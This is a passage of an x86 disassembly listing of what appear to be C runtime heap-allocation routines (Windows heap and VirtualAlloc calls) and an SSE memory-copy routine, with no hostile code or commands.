		mov	eax, [eax+10h]
		mov	ecx, ds:dword_4108E0
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_410770
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_410770
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_40880E
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_410770


loc_40880E:				; CODE XREF: sub_408578+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_408879
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; dword_40C0C8
		mov	eax, ds:dword_410770
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4105D4
		call	dword_40C048	; RtlFreeHeap
		mov	ecx, ds:dword_4108CC
		mov	eax, ds:dword_410770
		imul	ecx, 14h
		mov	edx, ds:dword_4108D0
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_405A70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4108CC
		cmp	eax, ds:dword_410770
		jbe	short loc_40886F
		sub	[ebp+arg_0], 14h


loc_40886F:				; CODE XREF: sub_408578+2F1j
		mov	eax, ds:dword_4108D0
		mov	ds:dword_4108D8, eax


loc_408879:				; CODE XREF: sub_408578+223j
					; sub_408578+29Aj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_410770, eax
		mov	ds:dword_4108E0, edi


loc_408887:				; CODE XREF: sub_408578+216j
		pop	ebx


loc_408888:				; CODE XREF: sub_408578+37j
		pop	edi
		pop	esi
		leave
		retn
sub_408578	endp


; =============== S U B	R O U T	I N E =======================================



sub_40888C	proc near		; CODE XREF: sub_408D21+C0p
		mov	eax, ds:dword_4108DC
		push	esi
		mov	esi, ds:dword_4108CC
		push	edi
		xor	edi, edi
		cmp	esi, eax
		jnz	short loc_4088D3
		add	eax, 10h
		imul	eax, 14h
		push	eax
		push	ds:dword_4108D0
		push	edi
		push	ds:dword_4105D4
		call	dword_40C0F8	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_4088C1


loc_4088BD:				; CODE XREF: sub_40888C+68j
					; sub_40888C+94j
		xor	eax, eax
		jmp	short loc_408939
; ---------------------------------------------------------------------------


loc_4088C1:				; CODE XREF: sub_40888C+2Fj
		add	ds:dword_4108DC, 10h
		mov	esi, ds:dword_4108CC
		mov	ds:dword_4108D0, eax


loc_4088D3:				; CODE XREF: sub_40888C+11j
		imul	esi, 14h
		add	esi, ds:dword_4108D0
		push	41C4h
		push	8
		push	ds:dword_4105D4
		call	dword_40C050	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4088BD
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_40C0F4	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_408922
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4105D4
		call	dword_40C048	; RtlFreeHeap
		jmp	short loc_4088BD
; ---------------------------------------------------------------------------


loc_408922:				; CODE XREF: sub_40888C+82j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4108CC
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_408939:				; CODE XREF: sub_40888C+33j
		pop	edi
		pop	esi
		retn
sub_40888C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40893C	proc near		; CODE XREF: sub_408D21+D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_408954
; ---------------------------------------------------------------------------


loc_408951:				; CODE XREF: sub_40893C+1Aj
		add	eax, eax
		inc	ebx


loc_408954:				; CODE XREF: sub_40893C+13j
		test	eax, eax
		jge	short loc_408951
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_40896D:				; CODE XREF: sub_40893C+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_40896D
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	dword_40C0F4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4089A0
		or	eax, 0FFFFFFFFh
		jmp	loc_408A3D
; ---------------------------------------------------------------------------


loc_4089A0:				; CODE XREF: sub_40893C+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_4089F0
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_4089B8:				; CODE XREF: sub_40893C+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_4089B8
		mov	edx, [ebp+var_4]


loc_4089F0:				; CODE XREF: sub_40893C+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_408A2D
		or	[eax+4], edi


loc_408A2D:				; CODE XREF: sub_40893C+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_408A3D:				; CODE XREF: sub_40893C+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40893C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A42	proc near		; CODE XREF: sub_40928C+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_408BE4
		test	bl, 1
		jnz	loc_408BDD
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_408BDD
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_408AB7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_408AB7:				; CODE XREF: sub_408A42+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_408B02
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_408AE3
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_408B02
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_408B02
; ---------------------------------------------------------------------------


loc_408AE3:				; CODE XREF: sub_408A42+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_408B02
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_408B02:				; CODE XREF: sub_408A42+7Bj
					; sub_408A42+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_408BCB
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_408B3C
		push	3Fh
		pop	edi


loc_408B3C:				; CODE XREF: sub_408A42+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_408BB9
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_408B90
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_408B88
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_408B88:				; CODE XREF: sub_408A42+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_408BB0
; ---------------------------------------------------------------------------


loc_408B90:				; CODE XREF: sub_408A42+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_408BA6
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_408BA6:				; CODE XREF: sub_408A42+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_408BB0:				; CODE XREF: sub_408A42+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_408BB9:				; CODE XREF: sub_408A42+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_408BCE
; ---------------------------------------------------------------------------


loc_408BCB:				; CODE XREF: sub_408A42+DEj
		mov	edx, [ebp+arg_4]


loc_408BCE:				; CODE XREF: sub_408A42+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_408D19
; ---------------------------------------------------------------------------


loc_408BDD:				; CODE XREF: sub_408A42+50j
					; sub_408A42+5Aj
		xor	eax, eax
		jmp	loc_408D1C
; ---------------------------------------------------------------------------


loc_408BE4:				; CODE XREF: sub_408A42+47j
		jge	loc_408D19
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_408C0F
		push	3Fh
		pop	esi


loc_408C0F:				; CODE XREF: sub_408A42+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_408C99
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_408C28
		push	3Fh
		pop	esi


loc_408C28:				; CODE XREF: sub_408A42+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_408C72
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_408C53
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_408C6F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_408C6F
; ---------------------------------------------------------------------------


loc_408C53:				; CODE XREF: sub_408A42+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_408C6F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_408C6F:				; CODE XREF: sub_408A42+208j
					; sub_408A42+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_408C72:				; CODE XREF: sub_408A42+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_408C99
		push	3Fh
		pop	esi


loc_408C99:				; CODE XREF: sub_408A42+1D1j
					; sub_408A42+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_408D10
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_408CE7
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_408CDF
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_408CDF:				; CODE XREF: sub_408A42+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_408D07
; ---------------------------------------------------------------------------


loc_408CE7:				; CODE XREF: sub_408A42+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_408CFD
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_408CFD:				; CODE XREF: sub_408A42+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_408D07:				; CODE XREF: sub_408A42+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_408D10:				; CODE XREF: sub_408A42+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_408D19:				; CODE XREF: sub_408A42+196j
					; sub_408A42:loc_408BE4j
		xor	eax, eax
		inc	eax


loc_408D1C:				; CODE XREF: sub_408A42+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408A42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D21	proc near		; CODE XREF: sub_404DE2+28p
					; sub_40916E+88p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4108CC
		mov	ecx, [ebp+arg_0]
		imul	eax, 14h
		add	eax, ds:dword_4108D0
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	ebx
		dec	ecx
		cmp	ecx, 20h
		push	esi
		push	edi
		jge	short loc_408D58
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_408D65
; ---------------------------------------------------------------------------


loc_408D58:				; CODE XREF: sub_408D21+2Aj
		add	ecx, 0FFFFFFE0h
		or	edx, 0FFFFFFFFh
		xor	esi, esi
		shr	edx, cl
		mov	[ebp+var_8], edx


loc_408D65:				; CODE XREF: sub_408D21+35j
		mov	ecx, ds:dword_4108D8
		mov	ebx, ecx
		jmp	short loc_408D80
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408D21+64j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_408D87
		add	ebx, 14h


loc_408D80:				; CODE XREF: sub_408D21+4Cj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_408D6F


loc_408D87:				; CODE XREF: sub_408D21+5Aj
		cmp	ebx, eax
		jnz	short loc_408E0A
		mov	ebx, ds:dword_4108D0
		jmp	short loc_408DA4
; ---------------------------------------------------------------------------


loc_408D93:				; CODE XREF: sub_408D21+88j
		mov	edx, [ebx+4]
		mov	edi, [ebx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_408DAB
		add	ebx, 14h


loc_408DA4:				; CODE XREF: sub_408D21+70j
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_408D93


loc_408DAB:				; CODE XREF: sub_408D21+7Ej
		cmp	ebx, ecx
		jnz	short loc_408E0A
		jmp	short loc_408DBD
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_408D21+9Ej
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_408DC1
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_408DBD:				; CODE XREF: sub_408D21+8Ej
		cmp	ebx, eax
		jb	short loc_408DB1


loc_408DC1:				; CODE XREF: sub_408D21+94j
		cmp	ebx, eax
		jnz	short loc_408DF6
		mov	ebx, ds:dword_4108D0
		jmp	short loc_408DD6
; ---------------------------------------------------------------------------


loc_408DCD:				; CODE XREF: sub_408D21+BAj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_408DDD
		add	ebx, 14h


loc_408DD6:				; CODE XREF: sub_408D21+AAj
		cmp	ebx, ecx
		mov	[ebp+arg_0], ebx
		jb	short loc_408DCD


loc_408DDD:				; CODE XREF: sub_408D21+B0j
		cmp	ebx, ecx
		jnz	short loc_408DF6
		call	sub_40888C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jnz	short loc_408DF6


loc_408DEF:				; CODE XREF: sub_408D21+E7j
		xor	eax, eax
		jmp	loc_408FFF
; ---------------------------------------------------------------------------


loc_408DF6:				; CODE XREF: sub_408D21+A2j
					; sub_408D21+BEj ...
		push	ebx
		call	sub_40893C
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_408DEF


loc_408E0A:				; CODE XREF: sub_408D21+68j
					; sub_408D21+8Cj
		mov	ds:dword_4108D8, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_408E31
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_408E5A


loc_408E31:				; CODE XREF: sub_408D21+FAj
		and	[ebp+var_4], 0
		mov	edx, [eax+0C4h]
		lea	ecx, [eax+44h]


loc_408E3E:				; CODE XREF: sub_408D21+134j
		mov	edi, [ecx]
		and	edx, [ebp+var_8]
		and	edi, esi
		or	edx, edi
		jnz	short loc_408E57
		inc	[ebp+var_4]
		mov	edx, [ecx+84h]
		add	ecx, 4
		jmp	short loc_408E3E
; ---------------------------------------------------------------------------


loc_408E57:				; CODE XREF: sub_408D21+126j
		mov	edx, [ebp+var_4]


loc_408E5A:				; CODE XREF: sub_408D21+10Ej
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_408E88
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_408E88
; ---------------------------------------------------------------------------


loc_408E85:				; CODE XREF: sub_408D21+169j
		add	ecx, ecx
		inc	edi


loc_408E88:				; CODE XREF: sub_408D21+153j
					; sub_408D21+162j
		test	ecx, ecx
		jge	short loc_408E85
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_408EA9
		push	3Fh
		pop	esi


loc_408EA9:				; CODE XREF: sub_408D21+183j
		cmp	esi, edi
		jz	loc_408FB2
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_408F15
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_408EE9
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_408F12
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_408F15
; ---------------------------------------------------------------------------


loc_408EE9:				; CODE XREF: sub_408D21+1A0j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_408F12
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_408F15
; ---------------------------------------------------------------------------


loc_408F12:				; CODE XREF: sub_408D21+1BCj
					; sub_408D21+1E4j
		mov	ebx, [ebp+arg_0]


loc_408F15:				; CODE XREF: sub_408D21+196j
					; sub_408D21+1C6j ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_408FBE
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_408FAF
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_408F86
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_408F74
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_408F74:				; CODE XREF: sub_408D21+246j
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_408FAF
; ---------------------------------------------------------------------------


loc_408F86:				; CODE XREF: sub_408D21+240j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_408F99
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_408F99:				; CODE XREF: sub_408D21+269j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_408FAF:				; CODE XREF: sub_408D21+22Ej
					; sub_408D21+263j
		mov	ecx, [ebp+var_8]


loc_408FB2:				; CODE XREF: sub_408D21+18Aj
		test	ecx, ecx
		jz	short loc_408FC1
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_408FC1
; ---------------------------------------------------------------------------


loc_408FBE:				; CODE XREF: sub_408D21+20Aj
		mov	ecx, [ebp+var_8]


loc_408FC1:				; CODE XREF: sub_408D21+293j
					; sub_408D21+29Bj
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_408FF7
		cmp	ebx, ds:dword_410770
		jnz	short loc_408FF7
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4108E0
		jnz	short loc_408FF7
		and	ds:dword_410770, 0


loc_408FF7:				; CODE XREF: sub_408D21+2BAj
					; sub_408D21+2C2j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_408FFF:				; CODE XREF: sub_408D21+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408D21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409004	proc near		; CODE XREF: sub_40908B+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_409024
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------


loc_409024:				; CODE XREF: sub_409004+18j
					; sub_409004+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_409024
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_409004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40908B	proc near		; CODE XREF: sub_405020+42j
					; sub_405A70+42j ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_40910E
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_4090E6
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_409004
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]


loc_4090E6:				; CODE XREF: sub_40908B+46j
		test	ecx, ecx
		jz	short loc_409161
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_409161
; ---------------------------------------------------------------------------


loc_40910E:				; CODE XREF: sub_40908B+37j
		cmp	ecx, edi
		jnz	short loc_409147
		neg	ecx
		add	ecx, 10h
